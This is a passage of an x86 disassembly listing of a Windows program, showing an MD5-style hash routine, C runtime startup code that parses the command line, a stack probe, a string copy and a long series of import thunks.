		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40BDB5
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40BDB5
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_447BBC
		add	[edi], eax
		mov	eax, dword_447BC0
		add	[edi+4], eax
		mov	eax, dword_447BC4
		add	[edi+8], eax
		mov	eax, dword_447BC8
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_40BDE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C630	proc near		; CODE XREF: sub_4098A8+1010p

var_1C		= dword	ptr -1Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		fldcw	[ebp+var_2]
		leave
		retn
sub_40C630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C654	proc near		; CODE XREF: sub_401219+66p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_40C728	; GetCommandLineA
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_40C688
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_40CC80
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_40C6A3
		mov	edi, eax
		inc	edi
		jmp	short loc_40C680
; ---------------------------------------------------------------------------


loc_40C67F:				; CODE XREF: sub_40C654+2Fj
		inc	edi


loc_40C680:				; CODE XREF: sub_40C654+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_40C67F
		jmp	short loc_40C6A3
; ---------------------------------------------------------------------------


loc_40C687:				; CODE XREF: sub_40C654+3Ej
		inc	edi


loc_40C688:				; CODE XREF: sub_40C654+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C694
		cmp	eax, 20h
		jnz	short loc_40C687


loc_40C694:				; CODE XREF: sub_40C654+39j
		jmp	short loc_40C697
; ---------------------------------------------------------------------------


loc_40C696:				; CODE XREF: sub_40C654+4Dj
		inc	edi


loc_40C697:				; CODE XREF: sub_40C654:loc_40C694j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C6A3
		cmp	eax, 20h
		jz	short loc_40C696


loc_40C6A3:				; CODE XREF: sub_40C654+24j
					; sub_40C654+31j ...
		push	0
		call	sub_40C77C	; GetModuleHandleA
		push	1
		push	edi
		push	0
		push	eax
		call	sub_40AA24
		pop	edi
		leave
		retn
sub_40C654	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C6B8	proc near		; CODE XREF: sub_40133B+8p
					; sub_402A48+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_40C6B9:				; CODE XREF: sub_40C6B8+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_40C6B9
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_40C6B8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40C6D8	proc near		; CODE XREF: sub_401BB7+CCp
					; sub_40523D+38p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_40C6D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C704	proc near		; CODE XREF: sub_4040AA+190p
					; sub_4061F7+4C5p ...
		jmp	ds:dword_448374
sub_40C704	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C710	proc near		; CODE XREF: sub_40AA24+3DEp
		jmp	ds:dword_448378
sub_40C710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C71C	proc near		; CODE XREF: sub_4061F7+161p
					; sub_408B4C+16Bp
		jmp	ds:dword_44837C
sub_40C71C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C728	proc near		; CODE XREF: sub_40C654+5p
		jmp	ds:dword_448380
sub_40C728	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C734	proc near		; CODE XREF: sub_40133B+10p
					; sub_40133B:loc_401409p ...
		jmp	ds:dword_448384
sub_40C734	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C740	proc near		; CODE XREF: sub_40160A+7p
					; sub_40160A:loc_401694p ...
		jmp	ds:dword_448388
sub_40C740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C74C	proc near		; CODE XREF: sub_401A7E+54p
					; sub_4098A8+71Cp
		jmp	ds:dword_44838C
sub_40C74C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C758	proc near		; CODE XREF: sub_40833E+C8p
		jmp	ds:dword_448390
sub_40C758	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C764	proc near		; CODE XREF: sub_4014C9+8Cp
					; sub_4014C9:loc_401562p ...
		jmp	ds:dword_448394
sub_40C764	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C770	proc near		; CODE XREF: sub_403A5F+117p
					; sub_40406B+35p ...
		jmp	ds:dword_448398
sub_40C770	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C77C	proc near		; CODE XREF: sub_402226+13p
					; sub_402563+EFp ...
		jmp	ds:dword_44839C
sub_40C77C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C788	proc near		; CODE XREF: sub_402226+2Bp
					; sub_402226+40p ...
		jmp	ds:dword_4483A0
sub_40C788	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C794	proc near		; CODE XREF: sub_401D31:loc_401E3Dp
					; sub_401D31+336p ...
		jmp	ds:dword_4483A4
sub_40C794	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7A0	proc near		; CODE XREF: sub_40399B+32p
					; sub_4040AA+81p ...
		jmp	ds:dword_4483A8
sub_40C7A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7AC	proc near		; CODE XREF: sub_40133B+82p
					; sub_401A7E+97p ...
		jmp	ds:dword_4483AC
sub_40C7AC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7B8	proc near		; CODE XREF: sub_4054C8+123p
					; sub_408B4C+2Dp
		jmp	ds:dword_4483B0
sub_40C7B8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7C4	proc near		; CODE XREF: sub_40181A:loc_40185Ep
					; sub_402226+35p ...
		jmp	ds:dword_4483B4
sub_40C7C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7D0	proc near		; CODE XREF: sub_40133B+DEp
					; sub_4014C9:loc_40151Fp ...
		jmp	ds:dword_4483B8
sub_40C7D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7DC	proc near		; CODE XREF: sub_4040AA+2Ep
					; sub_40AA24+D7p
		jmp	ds:dword_4483BC
sub_40C7DC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7E8	proc near		; CODE XREF: sub_40399B+71p
		jmp	ds:dword_4483C0
sub_40C7E8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C7F4	proc near		; CODE XREF: sub_4040AA+10Bp
					; sub_4098A8+B47p ...
		jmp	ds:dword_4483C4
sub_40C7F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C800	proc near		; CODE XREF: sub_40341E+67p
					; sub_4036BC+59p ...
		jmp	ds:dword_4483C8
sub_40C800	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C80C	proc near		; CODE XREF: sub_40349A+A4p
					; .text:004038FEp
		jmp	ds:dword_4483CC
sub_40C80C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C818	proc near		; CODE XREF: sub_40349A+65p
					; .text:004038CBp
		jmp	ds:dword_4483D0
sub_40C818	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C824	proc near		; CODE XREF: sub_402A48+204p
		jmp	ds:dword_4483D4
sub_40C824	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C830	proc near		; CODE XREF: sub_4061F7+4Bp
		jmp	ds:dword_4483D8
sub_40C830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C83C	proc near		; CODE XREF: sub_402A48+1CBp
		jmp	ds:dword_4483DC
sub_40C83C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C848	proc near		; CODE XREF: sub_402A48+5C3p
		jmp	ds:dword_4483E0
sub_40C848	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C854	proc near		; CODE XREF: sub_4023A7+19p
					; sub_402563:loc_40257Ep ...
		jmp	ds:dword_4483E4
sub_40C854	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C860	proc near		; CODE XREF: sub_402A48+A2p
		jmp	ds:dword_4483E8
sub_40C860	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C86C	proc near		; CODE XREF: sub_4061F7+490p
					; sub_408B4C+AEp ...
		jmp	ds:dword_4483EC
sub_40C86C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C878	proc near		; CODE XREF: sub_401A7E+61p
					; sub_40506F+6Ep ...
		jmp	ds:dword_4483F0
sub_40C878	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C884	proc near		; CODE XREF: sub_40506F+A2p
					; sub_4054C8+8Ap ...
		jmp	ds:dword_4483F4
sub_40C884	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C890	proc near		; CODE XREF: sub_40A9BC+2Cp
		jmp	ds:dword_4483F8
sub_40C890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C89C	proc near		; CODE XREF: sub_40506F+3Bp
		jmp	ds:dword_4483FC
sub_40C89C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8A8	proc near		; CODE XREF: sub_40133B+68p
					; sub_401A7E+89p
		jmp	ds:dword_448400
sub_40C8A8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8B4	proc near		; CODE XREF: sub_40107A+13p
		jmp	ds:dword_448404
sub_40C8B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8C0	proc near		; CODE XREF: sub_402A48+4CEp
					; sub_408779+6Fp
		jmp	ds:dword_448408
sub_40C8C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8CC	proc near		; CODE XREF: sub_40133B+34p
					; sub_401A7E+26p ...
		jmp	ds:dword_44840C
sub_40C8CC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8D8	proc near		; CODE XREF: sub_4051C3+47p
					; sub_408048+1EAp ...
		jmp	ds:dword_448410
sub_40C8D8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8E4	proc near		; CODE XREF: sub_40833E+E5p
		jmp	ds:dword_448414
sub_40C8E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8F0	proc near		; CODE XREF: sub_4061F7+3C2p
					; sub_4061F7+3F5p
		jmp	ds:dword_448418
sub_40C8F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C8FC	proc near		; CODE XREF: sub_4061F7+5FDp
					; sub_408B4C+2A0p
		jmp	ds:dword_44841C
sub_40C8FC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C908	proc near		; CODE XREF: sub_40864E+15p
		jmp	ds:dword_448420
sub_40C908	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C914	proc near		; CODE XREF: sub_40867D+12p
		jmp	ds:dword_448424
sub_40C914	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C920	proc near		; CODE XREF: sub_402A48+4F3p
		jmp	ds:dword_448428
sub_40C920	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C92C	proc near		; CODE XREF: sub_4068C1+3Bp
		jmp	ds:dword_44842C
sub_40C92C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C938	proc near		; CODE XREF: sub_403A5F+179p
					; sub_404313+12p ...
		jmp	ds:dword_448430
sub_40C938	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C944	proc near		; CODE XREF: sub_403A5F+D2p
					; sub_403BE7+2A2p ...
		jmp	ds:dword_448434
sub_40C944	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C950	proc near		; CODE XREF: sub_40AA24+5ACp
		jmp	ds:dword_448438
sub_40C950	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C95C	proc near		; CODE XREF: sub_401BB7+AFp
					; sub_4053FE+12p ...
		jmp	ds:dword_44843C
sub_40C95C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C968	proc near		; CODE XREF: sub_4068C1+1Fp
		jmp	ds:dword_448440
sub_40C968	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C974	proc near		; CODE XREF: sub_4061F7+2FAp
					; sub_408B4C+264p
		jmp	ds:dword_448444
sub_40C974	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C980	proc near		; CODE XREF: sub_407F07+35p
					; sub_40AA24+818p
		jmp	ds:dword_448448
sub_40C980	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C98C	proc near		; CODE XREF: sub_40B2CA+108p
		jmp	ds:dword_448454
sub_40C98C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C998	proc near		; CODE XREF: sub_4061F7+40Cp
					; sub_406A40+9Cp ...
		jmp	ds:dword_448458
sub_40C998	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9A4	proc near		; CODE XREF: sub_408ED0+87p
					; sub_40B3E8+EDp ...
		jmp	ds:dword_44845C
sub_40C9A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9B0	proc near		; CODE XREF: sub_4061F7+39Ep
		jmp	ds:dword_448460
sub_40C9B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9BC	proc near		; CODE XREF: sub_408E12+23p
					; sub_408E12+9Ap
		jmp	ds:dword_448464
sub_40C9BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9C8	proc near		; CODE XREF: sub_408E12+56p
		jmp	ds:dword_448468
sub_40C9C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9D4	proc near		; CODE XREF: sub_408ED0+9CEp
					; sub_40B2CA+43p ...
		jmp	ds:dword_44846C
sub_40C9D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9E0	proc near		; CODE XREF: sub_406D2E+73p
		jmp	ds:dword_448470
sub_40C9E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9EC	proc near		; CODE XREF: sub_40AA24+500p
		jmp	ds:dword_448474
sub_40C9EC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40C9F8	proc near		; CODE XREF: sub_40AA24+847p
		jmp	ds:dword_448478
sub_40C9F8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA04	proc near		; CODE XREF: sub_40AA24+51Fp
		jmp	ds:dword_44847C
sub_40CA04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA10	proc near		; CODE XREF: sub_40B3E8+39Bp
					; sub_40B3E8+41Ap ...
		jmp	ds:dword_448480
sub_40CA10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA1C	proc near		; CODE XREF: sub_40AA24+896p
		jmp	ds:dword_448484
sub_40CA1C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA28	proc near		; CODE XREF: sub_408ED0+8FDp
					; sub_408ED0+945p ...
		jmp	ds:dword_448488
sub_40CA28	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA34	proc near		; CODE XREF: sub_408ED0+924p
					; sub_408ED0+95Cp ...
		jmp	ds:dword_44848C
sub_40CA34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA40	proc near		; CODE XREF: sub_4043CA+6Ap
		jmp	ds:dword_448490
sub_40CA40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA4C	proc near		; CODE XREF: sub_4043CA+8Cp
		jmp	ds:dword_448494
sub_40CA4C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA58	proc near		; CODE XREF: sub_4043CA+3Cp
		jmp	ds:dword_448498
sub_40CA58	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA64	proc near		; CODE XREF: sub_40AA24+873p
		jmp	ds:dword_44849C
sub_40CA64	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA70	proc near		; CODE XREF: sub_40AA24+887p
		jmp	ds:dword_4484A0
sub_40CA70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA7C	proc near		; CODE XREF: sub_404EC6+66p
					; sub_404EC6+CCp ...
		jmp	ds:dword_4484A4
sub_40CA7C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA88	proc near		; CODE XREF: sub_408ED0+224p
					; sub_408ED0+379p ...
		jmp	ds:dword_4484A8
sub_40CA88	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CA94	proc near		; CODE XREF: sub_40AA24+55Bp
		jmp	ds:dword_4484AC
sub_40CA94	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAA0	proc near		; CODE XREF: sub_40B3E8+1F2p
		jmp	ds:dword_4484B0
sub_40CAA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAAC	proc near		; CODE XREF: sub_408ED0+75p
					; sub_40B3E8+808p
		jmp	ds:dword_4484B4
sub_40CAAC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAB8	proc near		; CODE XREF: sub_408ED0+D7p
					; sub_408ED0+14Dp ...
		jmp	ds:dword_4484B8
sub_40CAB8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAC4	proc near		; CODE XREF: sub_40B3E8+20Ep
					; sub_40B3E8+747p
		jmp	ds:dword_4484BC
sub_40CAC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAD0	proc near		; CODE XREF: sub_40B3E8+183p
		jmp	ds:dword_4484C0
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CADC	proc near		; CODE XREF: sub_40B3E8+82Ep
		jmp	ds:dword_4484C4
sub_40CADC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAE8	proc near		; CODE XREF: sub_40AA24+532p
		jmp	ds:dword_4484D0
sub_40CAE8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CAF4	proc near		; CODE XREF: sub_40B3E8+2CBp
		jmp	ds:dword_4484D4
sub_40CAF4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB00	proc near		; CODE XREF: sub_40B3E8+295p
					; sub_40B3E8+2A1p
		jmp	ds:dword_4484D8
sub_40CB00	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB0C	proc near		; CODE XREF: sub_40B3E8+2F3p
		jmp	ds:dword_4484DC
sub_40CB0C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB18	proc near		; CODE XREF: sub_408ED0+1F6p
					; sub_408ED0+805p
		jmp	ds:dword_4484E0
sub_40CB18	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB24	proc near		; CODE XREF: sub_40506F+51p
		jmp	ds:dword_4484EC
sub_40CB24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB30	proc near		; CODE XREF: sub_40506F+8Ap
		jmp	ds:dword_4484F0
sub_40CB30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB3C	proc near		; CODE XREF: sub_40160A+33p
					; sub_403F47+4Cp
		jmp	ds:dword_4484F4
sub_40CB3C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB48	proc near		; CODE XREF: sub_4014C9+87p
					; sub_40160A+6Cp ...
		jmp	ds:dword_4484F8
sub_40CB48	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB54	proc near		; CODE XREF: sub_4014C9+36p
		jmp	ds:dword_4484FC
sub_40CB54	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB60	proc near		; CODE XREF: sub_4014C9+6Cp
		jmp	ds:dword_448500
sub_40CB60	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB6C	proc near		; CODE XREF: sub_40160A+5Dp
					; sub_403F47+73p
		jmp	ds:dword_448504
sub_40CB6C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB78	proc near		; CODE XREF: sub_4023A7+33p
		jmp	ds:dword_448508
sub_40CB78	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB84	proc near		; CODE XREF: sub_4023A7+6Ep
		jmp	ds:dword_44850C
sub_40CB84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB90	proc near		; CODE XREF: sub_4023A7+54p
		jmp	ds:dword_448510
sub_40CB90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CB9C	proc near		; CODE XREF: sub_404EC6+1Fp
		jmp	ds:dword_448514
sub_40CB9C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBA8	proc near		; CODE XREF: sub_404EC6+171p
		jmp	ds:dword_448518
sub_40CBA8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBB4	proc near		; CODE XREF: sub_404EC6+2Fp
		jmp	ds:dword_44851C
sub_40CBB4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CBC0	proc near		; CODE XREF: sub_4035DB+3Fp
		jmp	ds:dword_448528
sub_40CBC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


